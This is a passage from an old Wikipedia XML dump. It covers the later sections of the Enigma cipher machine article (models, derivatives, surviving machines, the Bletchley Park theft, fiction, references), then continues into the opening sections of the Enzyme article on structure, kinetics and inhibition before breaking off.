The reflector &amp;mdash; an idea suggested by Scherbius' colleague [[Willi Korn]] &amp;mdash; was first introduced in the '''Enigma C''' (1926) model. The reflector is a key feature of the Enigma machines. 

[[Image:Enigma-8-rotor.jpg|left|thumbnail|A rare 8-rotor printing Enigma.]]
Model C was smaller and more portable than its predecessors. It lacked a typewriter, relying instead on the operator reading the lamps; hence the alternative name of &quot;glowlamp Enigma&quot; to distinguish from models A and B.  The Enigma C quickly became extinct, giving way to the '''Enigma D''' (1927). This version was widely used, with copies going to [[Sweden]], the [[Netherlands]], [[England]], [[Japan]], [[Italy]], [[Spain]], [[USA]] and [[Poland]].

===Military Enigma===
The German Navy were the first branch of the German military to adopt Enigma. This version, named '''Funkschlüssel C''' (''Radio cipher C''), had been put into production by 1925 and was introduced into service in 1926&lt;ref name=&quot;early-mil-enigma&quot;&gt;Kahn, 1991, pp. 39-41, 299&lt;/ref&gt;. The keyboard and lampboard contained 29 letters &amp;mdash; A-Z, Ä, Ö and Ü &amp;mdash; which were arranged alphabetically, as opposed to the QWERTZU ordering&lt;ref&gt;Ulbricht, 2005, p.4&lt;/ref&gt;. The rotors had 28 contacts, with the letter &lt;tt&gt;X&lt;/tt&gt; wired to bypass the rotors unencrypted&lt;ref name=&quot;Stripp&quot;&gt;Stripp, 1993&lt;/ref&gt;. Three rotors were chosen from a set of five&lt;ref&gt;Kahn, 1991, pp. 40, 299&lt;/ref&gt; and the reflector could be inserted in one of four different positions, denoted α, β, γ and δ&lt;ref&gt;Bauer, 2000, p. 108&lt;/ref&gt;. The machine was revised slightly in July 1933&lt;ref&gt;Hinsley and Stripp, 1993, plate 3&lt;/ref&gt;.

By [[15 July]] [[1928]]&lt;ref&gt;Kahn, 1991, pp. 41, 299&lt;/ref&gt;, the German Army (''[[Reichswehr]]'') had introduced their own version of the Enigma &amp;mdash; the '''Enigma G''', revised to the '''Enigma I''' by June 1930&lt;ref name=&quot;dc-97&quot;&gt;Deavours and Kruh, 1985, p. 97&lt;/ref&gt;. Enigma I is also known as the '''Wehrmacht''', or '''Services''' Enigma, and was used extensively by the German military services and other government organisations, both prior to and during [[World War II]]. The major difference between Enigma I and commercial Enigma models was the addition of a plugboard to swap pairs of letters, greatly increasing the cryptographic strength of the machine. Other differences included the use of a fixed reflector, and the relocation of the stepping notches from the rotor body to the movable letter rings&lt;ref name=&quot;dc-97&quot;&gt;. The machine measured 28×34×15&amp;nbsp;cm (11&quot;×13.5&quot;×6&quot;) and weighed around 12&amp;nbsp;kg (26 pounds)&lt;ref name=&quot;Stripp&quot;/&gt;.

[[Image:four-rotor-enigma.jpg|right|thumb|280px|An Enigma model T (Tirpitz) &amp;mdash; a modified commercial Enigma K manufactured for use by the Japanese.]]

By 1930, the Army had suggested that the Navy adopt their machine, citing benefits of increased security (with the plugboard) and easier interservice communications&lt;ref name=&quot;kahn-43&quot;&gt;Kahn, 1991, p. 43&lt;/ref&gt;. The Navy eventually agreed and in 1934&lt;ref&gt;Kahn (1991, p. 43) says August 1934. Kruh and Deavours (2002, p. 15) say October 2004.&lt;/ref&gt; brought into service the Navy version of the Army Enigma, designated '''Funkschlüssel M''' or '''M3'''. While the Army used only three rotors at that time, for greater security the Navy specified a choice of three from a possible five&lt;ref name=&quot;dc-98&quot;&gt;Deavours and Kruh, 1985, p. 98&lt;/ref&gt;. In December 1939, the Army issued two extra rotors so that the three rotors were chosen from a set of five&lt;ref name=&quot;dc-97&quot;/&gt;. In 1938, the Navy added two more rotors, and then another in 1939 to allow a choice of three rotors from a set of eight&lt;ref name=&quot;dc-98&quot;/&gt;. In August 1935, the Air Force also introduced the Wehrmacht Enigma for their communications&lt;ref name=&quot;dc-97&quot;/&gt;. A four rotor Enigma was introduced by the Navy for U-boat traffic on [[1 February]] [[1942]], called '''M4''' (the network was known as ''Triton'', or ''Shark'' to the Allies). The extra rotor was fitted in the same space by splitting the reflector into a combination of a thin reflector and a thin fourth rotor.

There was also a large, eight-rotor printing model, the '''Enigma II'''. During 1933, Polish codebreakers detected that it was in use for high-level military communications, but that it was soon withdrawn from use after it was found to be unreliable and jam frequently&lt;ref&gt;Kozaczuk, 1984, p. 28&lt;/ref&gt;.

[[Image:Enigma-G.jpg|left|thumbnail|Enigma G, used by the [[Abwehr]], had four-rotors, no plugboard, and multiple notches on the rotors.]]
The [[Abwehr]] used the '''Enigma G''' (the '''Abwehr Enigma'''). This Enigma variant was a four-wheel unsteckered machine with multiple notches on the rotors. This model was equipped with a counter which incremented upon each key press, and so is also known as the '''counter machine''' or the '''Zahlwerk Enigma'''.

[[Image:Swiss enigma.jpg|thumb|220px|The four-wheel Swiss Enigma K, made in Germany, used re-wired rotors.]]
Other countries also used Enigma machines. The Italian Navy adopted the commercial Enigma as &quot;Navy Cipher D&quot;; the Spanish also used commercial Enigma during their [[Spanish Civil War|Civil War]]. British codebreakers succeeded in breaking these machines, which lacked a plugboard. The Swiss used a version of Enigma called '''model K''' or '''Swiss K''', for military and diplomatic use, which was very similar to the commercial Enigma D. The machine was broken by a number of parties, including Germany, France, Britain and the United States (the latter codenamed it INDIGO). An '''Enigma T''' model (codenamed '''Tirpitz''') was manufactured for use by the Japanese.

It has been estimated that 100,000 Enigma machines were constructed&lt;ref name=&quot;Bauer-112&quot;&gt;Bauer, 2000, p. 112&lt;/ref&gt;. After the end of the Second World War, the Allies sold captured Enigma machines, still widely considered secure, to a number of developing countries&lt;ref name=&quot;Bauer-112&quot;/&gt;.

===Enigma derivatives===
The Enigma was influential in the field of cipher machine design, and a number of other rotor machines are derived from it. The British [[Typex]]  was originally designed from the Enigma patents &amp;mdash; Typex even includes features from the patent descriptions that were omitted from the actual Enigma machine. Due to the need for secrecy about its cipher systems, no royalties were paid for the use of the patents by the British government. A Japanese Enigma clone was codenamed GREEN by American cryptographers. Little-used, it contained four rotors mounted vertically. In the US, cryptologist [[William Friedman]] designed the [[M-325]], a machine similar to Enigma in logical operation, although not in construction.

A unique rotor machine was constructed in 2002 by [[Netherlands]]-based Tatjana van Vark&lt;ref&gt;[http://www.tatjavanvark.nl/index.html]&lt;/ref&gt;. This unusual device is inspired by Enigma, but makes use of 40-point rotors, allowing letters, numbers and some punctuation; each rotor contains 509 parts&lt;ref&gt; [http://www.tatjavanvark.nl/tvv1/pht10.html]&lt;/ref&gt;.
&lt;!-- I've deliberately excluded discussion of machines like the SIGABA, NEMA and so forth, which seem to be not directly based on Enigma (although they are, of course, rotor machines) --&gt;

{| style=&quot;margin:1em auto 0 auto&quot;
|- style=&quot;vertical-align:top&quot;
| [[Image:Japanese-enigma.jpg|thumb|none|306px|&lt;!-- Attempt give both boxes the same height.
--&gt;&lt;div style=&quot;height:3.5em;float:right;clear:right;font-size:inherit;background:inherit;border:none;margin:0;&quot;&gt;&lt;!--
--&gt;&lt;/div&gt;The Japanese developed an Enigma clone, codenamed GREEN by American cryptographers, although it was little used.]]
| [[Image:Tatjavanavark-machine.jpg|thumb|none|320px|&lt;!-- Attempt give both boxes the same height.
--&gt;&lt;div style=&quot;height:3.5em;float:right;clear:right;font-size:inherit;background:inherit;border:none;margin:0;&quot;&gt;&lt;!--
--&gt;&lt;/div&gt;Tatjana van Vark's Enigma-inspired rotor machine, constructed in 2002. The rotors of this machine contain 40 contacts, compared to the original Enigma's 26.]]
|}

==Surviving Enigmas==
The effort to break the Enigma was not disclosed until the 1970s. Since then, interest in the Enigma machine has grown considerably and a number of Enigmas are on public display in [[museum]]s in the US and Europe.  The [[Deutsches Museum]] in [[Munich]] has both the three and four-wheel German military variants, as well as several older civilian versions.  There are also examples in the [[NSA]]'s [[National Cryptologic Museum]] at [[Fort Meade]] and at the [[Computer History Museum]] in the United States, at [[Bletchley Park]] in the United Kingdom, the [[Australian War Memorial]] at [[Canberra]] in Australia, as well as a number of other locations in Germany, the US, the UK, and a few other countries in Europe.  A number are also in private hands&lt;ref&gt;[http://www.eclipse.net/~dhamer/location.htm]&lt;/ref&gt;.

Occasionally, Enigma machines are sold at auction; prices of US$20,000 are not unusual&lt;ref&gt;[http://www.eclipse.net/~dhamer/enigma_p.htm]&lt;/ref&gt;.

Replicas of the machine are available in various forms, including an exact reconstructed copy of the Naval M4 model, an Enigma implemented in electronics (Enigma-E), various computer software simulators and paper-and-scissors analogues.

A rare Abwehr Enigma machine, designated G312, was stolen from the Bletchley Park museum on [[1 April]], [[2000]].  In September, a man identifying himself as &quot;The Master&quot; sent a note demanding £25,000 and threatened to destroy the machine if the ransom was not paid. In early October 2000, Bletchley Park officials announced that they would pay the ransom but the deadline set passed with no word from the thief. Shortly after the ransom deadline passed the machine was sent anonymously to BBC journalist [[Jeremy Paxman]], but three rotors were missing.  In November 2000, an antiques dealer named Dennis Yates was arrested after telephoning ''[[The Sunday Times]]'' to arrange the return of the missing parts.  The Enigma machine was returned to Bletchley park after the incident. In October 2001, Yates was sentenced to ten months in prison after admitting handling the stolen machine and of [[blackmail]]ing Bletchley Park Trust director Christine Large, although he maintained that he was acting as an intermediary for a third party. Yates was released from prison after serving three months.

==Fiction==
[[Robert Harris]]' 1996 novel ''Enigma'' is set against the backdrop of World War II Bletchley Park and cryptologists working to read Enigma.  The book was made into the 2001 film, [[Enigma (2001 film)|''Enigma'']], starring [[Kate Winslet]] and [[Dougray Scott]]; the film has been criticized for many historical inaccuracies.  An earlier film dealing (somewhat superficially) with the Polish aspects of the subject was the 1979 ''[[Sekret Enigmy]]'' (The Enigma Secret)&lt;ref&gt;[http://imdb.com/title/tt0079878/]&lt;/ref&gt;.

[[Neal Stephenson]]'s novel ''[[Cryptonomicon]]'' also features World War II military cryptography, including the Enigma and Bletchley Park.

An [[interactive fiction]] game ''Jigsaw'' by [[Graham Nelson]] contains a puzzle in which the player must decrypt a message with a simplified version of the Enigma. The puzzle is generally accepted as the most annoying in the game, which is perhaps some measure of how hard it was to decrypt messages produced by the original machine(s).

[[Jonathan Mostow]]'s 2000 film [[U-571 (film)|''U-571'']] describes a fictional voyage of American submariners who have hijacked a German submarine to obtain an Enigma machine.  Although loosely based on the histories of many German U-boats, the capture of Enigma was first made by the officers and crew of British destroyer [[HMS Bulldog]], who boarded [[U-110]] on [[May 9]], [[1941]] after scuttling charges failed to go off.  The capture of an Enigma and a half-used code book is often cited as one of the most important events in the cryptographic battle between the Nazis and the Allies.  The machine used in the film was an authentic Enigma obtained from a collector.

[[Friedrich Kittler]]'s 1986 (trans. 1999) [[Gramophone, Film, Typewriter]] examines the use of the Enigma and similar devices in relation to [[Jacques Lacan]]'s [[Symbolic order]].

==See also==
''World War II Era Encryption Devices:''
*[[Sigaba]] (''United States'')
*[[Typex]] (''Britain'')
*[[Lorenz SZ 40/42]] (''Germany'') (Allied code-name: 'Tunny')
*[[Siemens and Halske T52]] (''Germany'') (Allied code-name: 'Sturgeon').
*[[Geheimschreiber]]

==References==
&lt;references/&gt;
* David H. Hamer, Geoff Sullivan and Frode Weierud, &quot;Enigma Variations: an Extended Family of Machines,&quot; ''Cryptologia'' 22(3), July 1998. [http://www.eclipse.net/~dhamer/downloads/enigvar1.zip Online version (PDF)].
* Louis Kruh and Cipher Deavours, &quot;The Commercial Enigma: Beginnings of Machine Cryptography,&quot; ''Cryptologia'', 26(1), pp. 1&amp;ndash;16, 2002. [http://www.dean.usma.edu/math/pubs/cryptologia/classics.htm Online version (PDF)].
* Tom Perera, The Story of the ENIGMA: History, Technology and Deciphering, 2nd Edition, CD-ROM, 2004, Artifax Books, ISBN 1890024066 [http://w1tp.com/enigma/ecds.htm].
* Arturo Quirantes, &quot;Model Z: A Numbers-Only Enigma Version&quot;, ''Cryptologia'' 28(2), April 2004.
* Heinz Ulbricht, Enigma Uhr, ''Cryptologia, 23(3), April 1999, pp. 194&amp;ndash;205
* Philip Marks and Frode Weierud, Recovering the Wiring of Enigma's Umkehrwalze A, ''Cryptologia'' 24(1), January 2000, pp55&amp;ndash;66.
* Philip Marks, &quot;Umkehrwalze D: Enigma's Rewirable Reflector &amp;mdash; Part I&quot;, ''Cryptologia'' 25(2), April 2001, pp. 101&amp;ndash;141.
* Philip Marks, &quot;Umkehrwalze D: Enigma's Rewirable Reflector &amp;mdash; Part II&quot;, ''Cryptologia'' 25(3), July 2001, pp. 177&amp;ndash;212.
* Philip Marks, &quot;Umkehrwalze D: Enigma's Rewirable Reflector &amp;mdash; Part III&quot;, ''Cryptologia'' 25(4), October 2001, pp. 296&amp;ndash;310.
* Christine Large, ''Hijacking Enigma'', 2003, ISBN 0470863471.
* Alan Stripp, &quot;The Enigma Machine: Its Mechanism and Use&quot;, in Hinsley and Stripp (eds.) ''Codebreakers: The Inside Story of Bletchley Park'', 1993, pp. 83&amp;ndash;88.
* {{de icon}} Heinz Ulbricht, ''Die Chiffriermaschine Enigma — Trügerische Sicherheit: Ein Beitrag zur Geschichte der Nachrichtendienste'', PhD Thesis, 2005 (in German).

==External links==
{{commons|Enigma machine}}
;Images
* [http://www.jproc.ca/crypto/enigma.html Several images of Enigma]
* [http://w1tp.com/enigma/ Detailed photos of various Enigma models and parts]
* [http://cnm.open.ac.uk/projects/stationx/enigma/index.html Pictures of a four-rotor naval enigma, including Flash (SWF) views of the machine]
;Descriptions
* [http://www.codesandciphers.org.uk/enigma/index.htm ''The Enigma cipher machine''], by Tony Sale
*[http://www.mlb.co.jp/linux/science/genigma/enigma-referat/enigma-referat.html ''Enigma &amp;mdash; a very famous story of cryptology'' by Martin Oberzalek]
;Simulators and replicas
* [http://www.enigma-replica.com/ A project to construct an accurate M4 Enigma replica]
* [http://www.xat.nl/enigma-e/index.htm Enigma-E] &amp;mdash; a DIY electronics kit which simulates an Enigma machine
* [http://www.enigmaco.de/ Enigma simulator] ([[Macromedia Flash]])
* [http://users.telenet.be/d.rijmenants/en/enigmasim.htm Enigma simulator, Wehrmacht and Kriegmarine M4] ([[Microsoft Windows]] software)
* [http://homepages.tesco.net/~andycarlson/enigma/enigma_j.html Enigma simulator] ([[Java applet]])  
* [http://mckoss.com/Crypto/Enigma.htm Enigma simulator] (Paper cut-out)
* Wiring of the Enigma rotors: [http://www.ellsbury.com/ultraenigmawirings.htm], [http://www.ugr.es/~aquiran/cripto/museo/rotor.htm]
;Miscellaneous
* [http://www.eclipse.net/~dhamer/Enigma1.htm David Hamer's Enigma pages] &amp;mdash; includes a list of known surviving Enigmas and selling prices
* [http://www.superborg.de/enigma001.htm Archives of all german military manuals] &amp;mdash; also for secret manuals of Enigma and Cryptography
* [http://bytereef.org/m4_project.html M4 Message Breaking Project] - a [[distributed computing]] project to break the last few undeciphered messages
* [[Samples of real Enigma messages]]
* [http://news.yahoo.com/s/nf/20060303/bs_nf/41894 Amateur Cracks Secret Nazi Code]

{{Cipher machines}}

[[Category:Cryptography]]
[[Category:Rotor machines]]
[[Category:World War II espionage]]
[[Category:World War II military equipment of Germany]]

[[ca:Màquina Enigma]]
[[cs:Enigma]]
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[[ko:에니그마]]
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[[it:Enigma (crittografia)]]
[[he:אניגמה]]
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[[ja:エニグマ (暗号機)]]
[[no:Enigma]]
[[pl:Enigma (maszyna szyfrująca)]]
[[pt:Máquina Enigma]]
[[sl:Enigma (naprava)]]
[[sr:Енигма]]
[[sv:Enigma (krypteringsmaskin)]]
[[th:เครื่องอินิกมา]]
[[tr:Enigma makinesi]]</text>
    </revision>
  </page>
  <page>
    <title>Enzyme</title>
    <id>9257</id>
    <revision>
      <id>41808653</id>
      <timestamp>2006-03-01T22:07:41Z</timestamp>
      <contributor>
        <username>ESkog</username>
        <id>88149</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/128.255.203.79|128.255.203.79]] ([[User talk:128.255.203.79|talk]]) to last version by 172.189.191.185</comment>
      <text xml:space="preserve">[[Image:Triosephosphate_isomerase.jpg|thumb|310px|Ribbon diagram of the '''catalytically perfect enzyme'''  [[triosephosphateisomerase|TIM]].]]

An '''enzyme''' is a [[protein]] that [[catalyst|catalyzes]], or speeds up, a [[chemical reaction]]. The word comes from the [[Greek language|Greek]] ένζυμο, ''énsymo'', which comes from ''én'' (&quot;at&quot; or &quot;in&quot;) and ''simo'' (&quot;[[leaven]]&quot; or &quot;[[yeast]]&quot;).  Certain [[RNA]]s also have catalytic activity, but to differentiate them from protein enzymes, they are referred to as RNA enzymes or [[ribozyme]]s.

Enzymes are essential to sustain [[life]] because most chemical reactions in [[cell (biology)|biological cell]]s would occur too slowly, or would lead to different products, without enzymes. A malfunction (mutation, overproduction, underproduction or deletion) of a single critical enzyme can lead to a severe disease.  For example, the most common type of  [[phenylketonuria]] is caused by a single [[amino acid]] mutation in the enzyme [[phenylalanine hydroxylase]], which catalyzes the first step in the degradation of [[phenylalanine]].  The resulting build-up of phenylalanine and related products can lead to [[mental retardation]], if the disease is untreated.

Like all catalysts, enzymes work by lowering the [[activation energy]] of a reaction, thus allowing the reaction to proceed much faster. Enzymes may speed up reactions by a factor of many millions. An enzyme, like any catalyst, remains unaltered by the completed reaction and can therefore continue to function. Because enzymes, like all catalysts, do not affect the relative energy between the products and reagents, they do not affect [[Chemical equilibrium|equilibrium]] of a reaction. However, the advantage of enzymes compared to most other catalysts is their sterio-, regio- and chemoselectivity and specificity.  

Enzyme activity can be affected by other [[molecules]]. [[inhibitor|Inhibitors]] are naturally occurring or synthetic molecules that decrease or abolish enzyme activity; activators are molecules that increase activity. Some irreversible inhibitors bind enzymes very tightly, effectively inactivating them.  Many drugs and poisons act by inhibiting enzymes. [[Aspirin]] inhibits the [[Cyclooxygenase|COX-1]] and [[Cyclooxygenase|COX-2]] enzymes that produce the [[inflammation]] messenger [[prostaglandin]], thus suppressing pain and inflammation. The poison [[cyanide]] inhibits [[cytochrome c oxidase]], which effectively blocks [[cellular respiration]].

While all enzymes have a biological role, some enzymes are used commercially for other purposes.  Many household cleaners use enzymes to speed up chemical reactions ( ''i.e.'', breaking down protein or starch stains in clothes).

More than 5,000 enzymes are known. Typically the suffix ''-ase'' is added to the name of the [[substrate]] (''e.g.'', [[lactase]] is the enzyme that catalyzes the cleavage of [[lactose]]) or the type of reaction (''e.g.,'' [[DNA polymerase]] catalyzes the formation of DNA polymers).  However, this is not always the case, especially when enzymes modify multiple substrates.  For this reason Enzyme Commission or [[EC number|EC numbers]] are used to classify enzymes based on the reactions they catalyze.  Even this is not a perfect solution, as enzymes from different species or even very similar enzymes in the same species may have identical EC numbers.

== Etymology and history ==
[[Image:Eduardbuchner.jpg|thumb|125px|left|[[Eduard Buchner]]]]
The word [[wiktionary:enzyme|enzyme]] comes from [[Greek language|Greek]]: ''&quot;in leaven&quot;''.
As early as the late [[1700s]] and early [[1800s]], the digestion of [[meat]] by stomach secretions and the conversion of starch to sugars by plant extracts and saliva were observed.

Studying the [[fermentation]] of sugar to alcohol by yeast, [[Louis Pasteur]] came to the conclusion that this fermentation was catalyzed by &quot;[[Vitalism|ferments]]&quot; in the yeast, which were thought to function only in the presence of living organisms.

In [[1897]], [[Hans Buchner|Hans]] and [[Eduard Buchner]] inadvertently used yeast extracts to ferment sugar, despite the absence of living yeast cells.  They were interested in making extracts of yeast cells for medical purposes, and, as one possible way of preserving them, they added large amounts of sucrose to the extract. To their surprise, they found that the sugar was fermented, even though there were no living yeast cells in the mixture.  The term &quot;enzyme&quot; was used to describe the substance(s) in yeast extract that brought about the fermentation of sucrose.

==3D Structure==
In enzymes, as with other [[protein]]s, function is determined by structure.  An enzyme can be:
*A [[monomer|monomeric]] protein, ''i.e.'', containing only one polypeptide chain, typically one hundred or more [[amino acid]]s; or
*an [[oligomer|oligomeric]] protein consisting of several polypeptide chains, different or identical, that act together as a unit.

As with any protein, each monomer is actually produced as a long, linear chain of [[amino acid]]s, which folds in a particular fashion to produce a three-dimensional product. Individual monomers may then combine via non-covalent interactions to form a multimeric protein.  Many enzymes can be unfolded or inactivated by heating, which destroys the [[Tertiary structure|three-dimensional structure]] of the protein.

[[Image:Enzymeactivesite.png|thumb|right|300px|Cartoon showing the active site of an enzyme.]]
Most enzymes are larger than the substrates they act on and only a very small portion of the enzyme, around 10 amino acids, come into direct contact with the substrate(s). This region, where binding of the substrate(s) and then the reaction occurs, is known as the [[active site]] of the enzyme. Some enzymes contain sites that bind cofactors, which are needed for catalysis. Certain enzymes have binding sites for small molecules, which are often direct or [[#Metabolic pathways|indirect]] products or substrates of the reaction catalyzed.  This binding can serve to increase or decrease the enzyme's activity (depending on the molecule and enzyme), providing a means for [[feedback]] regulation.

===Specificity===
Enzymes are usually specific as to the reactions they catalyze and the [[substrate (biochemistry)|substrate]]s that are involved in these reactions. Shape, charge complementarity, and hydrophillic/hydrophobic character of enzyme and substrate are responsible for this specificity.

====&quot;Lock and key&quot; model====
[[Image:two_substrates.png|thumb|300px|Fischer's lock and key hypothesis of enzyme action.]]
[[Image:Two substrates b.png|thumb|300px|Diagrams to show Koshland's induced fit hypothesis of enzyme action.]]
[[Image:Two substrates c.png|thumb|300px|A diagram showing a more realistic situation for induced fit hypothesis. Incorrect substrates, either too big or too small in size, do not fit with the active site.]]
Enzymes are very specific and it was suggested by [[Emil Fischer]] in 1890 that this was because the enzyme had a particular shape into which the substrate(s) fit exactly. This is often referred to as &quot;the lock and key&quot; model.  An enzyme combines with its substrate(s) to form a short-lived enzyme-substrate complex.

====Induced fit model====

In 1958 [[Daniel Koshland]] suggested a modification to the &quot;lock and key&quot; model. Enzymes are rather flexible structures. The active site of an enzyme could be modified as the substrate interacts with the enzyme. The amino acids sidechains which make up the active site are molded into a precise shape which enables the enzyme to perform its catalytic function. In some cases the substrate molecule changes shape slightly as it enters the active site.

===Modifications===
Many enzymes contain not only a protein part but need additionally various modifications. These modifications are made ''posttranslational'', ''i.e.'', after the polypeptide chain is synthesized. Additional groups can be synthesized onto the polypeptide chain, ''e.g.'', [[phosphorylation]] or [[glycosylation]] of the enzyme. 

Another kind of posttranslational modification is the cleavage and splicing of the polypeptide chain.  [[Chymotrypsin]], a digestive [[protease]], is produced in inactive form as [[chymotrypsinogen]] in the [[pancreas]] and transported in this form to the [[stomach]] where it is activated. This prevents the enzyme from harmful digestion of the pancreas or other tissue. This type of inactive precursor to an enzyme is known as a [[zymogen]].

===Enzyme cofactors===
Some enzymes do not need any additional components to exhibit full activity. However, others require non-protein molecules to be bound for activity. Cofactors can be either [[inorganic]] (''e.g.'', metal ions and [[Iron-sulfur cluster]]s) or [[organic molecules|organic compounds]], which are also known as [[coenzyme]]s.

Enzymes that require a cofactor, but do not have one bound are called [[apoenzyme]]s.  An apoenzyme together with its cofactor(s) constitutes a [[holoenzyme]] (''i.e,'' the active form).  Most cofactors are not covalently bound to an enzyme, but are closely associated.  However, some cofactors known as [[prosthetic groups]] are covalently bound (''e.g.,'' [[thiamine pyrophosphate]] in certain enzymes).

Most cofactors are either regenerated or chemically unchanged at the end of the reactions.  Many cofactors are [[vitamin]]-derivatives and serve as carriers to transfer [[electron]]s, [[atom]]s, or [[functional group]]s from an enzyme to a substrate.  Common examples are [[Nicotinamide adenine dinucleotide|NAD]] and [[NADP]], which are involved in electron transfer and [[coenzyme A]], which is involved in the transfer of [[acetyl]] groups.

===Allosteric modulation===
[[Allosteric]] enzymes change their structure in response to binding of [[effector]]s.  Modulation can be direct, where effectors bind directly to [[binding site]]s in the enzyme, or indirect, where the effector binds to other proteins or [[protein subunit]]s that interact with the allosteric enzyme and thus influence catalytic activity.

==Thermodynamics==
[[Image:activation2.png|thumb|300px|Diagram of a catalytic reaction, showing the energy niveau at each stage of the reaction. The substrates usually need a large amount of energy to reach the transition state, which then reacts to form the end product. The enzyme stabilizes the transition state, reducing the energy of the transition state and thus the energy required to get over this barrier.]]

As with all catalysts, all reactions catalyzed by enzymes must be &quot;spontaneous&quot; (containing a net negative [[Gibbs free energy]]). With the enzyme, they run in the same direction as they would without the enzyme, just more quickly. However, the uncatalyzed, &quot;spontaneous&quot; reaction might lead to different products than the catalyzed reaction. Furthermore, enzymes can couple two or more reactions, so that a thermodynamically favorable reaction can be used to &quot;drive&quot; a thermodynamically unfavorable one. For example, the cleavage of the high-energy compound [[Adenosine triphosphate|ATP]] is often used to drive other, energetically unfavorable chemical reactions.

Enzymes catalyze the forward and backward reactions equally. They do not alter the equilibrium itself, but only the speed at which it is reached. [[Carbonic anhydrase]] catalyzes its reaction in either direction depending on the conditions.
: &lt;math&gt;\mathrm{CO_2 + H_2O
{}^\mathrm{\quad Carbonic\ anhydrase}
\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!
\overrightarrow{\qquad\qquad\qquad\qquad}
H_2CO_3}&lt;/math&gt; (in [[Biological tissue|tissue]]s - high CO&lt;sub&gt;2&lt;/sub&gt; concentration)
: &lt;math&gt;\mathrm{H_2CO_3
{}^\mathrm{\quad Carbonic\ anhydrase}
\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!
\overrightarrow{\qquad\qquad\qquad\qquad}
CO_2 + H_2O}&lt;/math&gt; (in [[lung]]s - low CO&lt;sub&gt;2&lt;/sub&gt; concentration)

== Kinetics ==
In 1913, [[Leonor Michaelis]] and [[Maud Menten]] proposed a quantitative theory of [[enzyme kinetics]], which is referred to as [[Michaelis-Menten kinetics]].  Their work was further developed by G. E. Briggs and [[J. B. S. Haldane]], who derived numerous kinetic equations that are still widely used today.   

Enzymes can perform up to several million catalytic reactions per second; to determine the maximum speed of an enzymatic reaction, the substrate concentration is increased until a constant rate of product formation is achieved. This is the maximum velocity (''V''&lt;sub&gt;max&lt;/sub&gt;) of the enzyme. In this state, all enzyme active sites are saturated with substrate.  However, ''V''&lt;sub&gt;max&lt;/sub&gt; is only one kinetic parameter that biochemists are interested in.  The amount of substrate needed to achieve a given rate of reaction is also of interest.  This can be expressed by the [[Michaelis-Menten constant]] (''K''&lt;sub&gt;m&lt;/sub&gt;), which is the substrate concentration required for an enzyme to reach one half its maximum velocity.  Each enzyme has a characteristic ''K''&lt;sub&gt;m&lt;/sub&gt; for a given substrate.   

The efficiency of an enzyme can be expressed in terms of ''k''&lt;sub&gt;cat&lt;/sub&gt;/''K''&lt;sub&gt;m&lt;/sub&gt;.  The quantity ''k''&lt;sub&gt;cat&lt;/sub&gt;, also called the turnover number, incorporates the rate constants for all steps in the reaction, and is the quotient of ''V''&lt;sub&gt;max&lt;/sub&gt; and the total enzyme concentration.  ''k''&lt;sub&gt;cat&lt;/sub&gt;/''K''&lt;sub&gt;m&lt;/sub&gt; is a useful quantity for comparing different enzymes against each other, or the same enzyme with different substrates, because it takes both affinity and catalytic ability into consideration.  The theoretical maximum for ''k''&lt;sub&gt;cat&lt;/sub&gt;/''K''&lt;sub&gt;m&lt;/sub&gt;, called diffusion limit, is about 10&lt;sup&gt;8&lt;/sup&gt; to 10&lt;sup&gt;9&lt;/sup&gt; (M&lt;sup&gt;-1&lt;/sup&gt; s&lt;sup&gt;-1&lt;/sup&gt;).  At this point, every collision of the enzyme with its substrate will result in catalysis and the rate of product formation is not limited by the reaction rate but by the diffusion rate.  Enzymes that reach this ''k''&lt;sub&gt;cat&lt;/sub&gt;/''K''&lt;sub&gt;m&lt;/sub&gt; value are called ''catalytically perfect'' or ''kinetically perfect''.  Example of such enzymes are [[triosephosphateisomerase|triose-phosphate isomerase]], [[carbonic anhydrase]], [[acetylcholinesterase]], [[catalase]], fumarase, ß-lactamase, and [[superoxide dismutase]].

The [[Quantum mechanics|quantum-mechanical]] (physical) model of enzyme catalysis explains how certain enzymes work faster than previously thought possible.  This is achieved by a process known as [[Quantum tunneling|tunneling]], which allows electron and proton transfers to &quot;tunnel&quot; through activation barriers rather go over them.

==Inhibition==
[[image:comp_inhib.png|thumb|400px|A competitive inhibitor binds reversibly to the enzyme, preventing the binding of substrate. On the other hand, binding of substrate prevents binding of the inhibitor, thus substrate and inhibitor compete for the enzyme.]]
[[image:comp_inhib3.png|thumb|400px|Diagram showing the mechanism of non-competitive inhibition.]]

Enzymes reaction rates can be decreased by competitive, non-competitive, partially competitive, uncompetitive inhibition, and mixed inhibition.

===Competitive inhibition===
In competitive inhibition, the inhibitor binds to the substrate binding site as shown (''right'' part b), thus preventing substrate binding.  [[Malonate]] is a competitive inhibitor of the enzyme succinate dehydrogenase, which catalyzes the oxidation of [[succinate]] to [[fumarate]].  

Competitive inhibition causes the ''K''&lt;sub&gt;m&lt;/sub&gt; value to increase, but does not effect ''V''&lt;sub&gt;max&lt;/sub&gt;.

===Non-competitive inhibition===
Non-competitive inhibitors never bind to the active center, but to other parts of the enzyme that can be far away from the substrate binding site, consequently, there is no competition between the substrate and inhibitor for the enzyme. The extent of inhibition depends entirely on the inhibitor concentration and will not be affected by the substrate concentration.  For example, [[cyanide]] combines with the [[copper]] prosthetic groups of the enzyme [[cytochrome c oxidase]], thus inhibiting [[cellular respiration]].  This type of inhibition is typically irreversible, meaning that the enzyme will no longer function.

By changing the [[Chemical conformation|conformation]] (the three-dimensional structure) of the enzyme, the inhibitors either disable the ability of the enzyme to bind or turn over its substrate. The enzyme-inhibitor (EI) and enzyme-inhibitor-substrate (EIS) complex have no catalytic activity.  

Non-Competitive inhibition causes a decrease in ''V''&lt;sub&gt;max&lt;/sub&gt;, but does not change the ''K''&lt;sub&gt;m&lt;/sub&gt; value.

===Partially competitive inhibition===
The mechanism of partially competitive inhibition is similar to that of non-competitive, except that the EIS-complex has catalytic activity, which may be lower or even higher (partially competitive activation) than that of the enzyme-substrate (ES) complex.

This inhibition typically displays a lower ''V''&lt;sub&gt;max&lt;/sub&gt;, but an unaffected ''K''&lt;sub&gt;m&lt;/sub&gt; value.

===Uncompetitive inhibition===
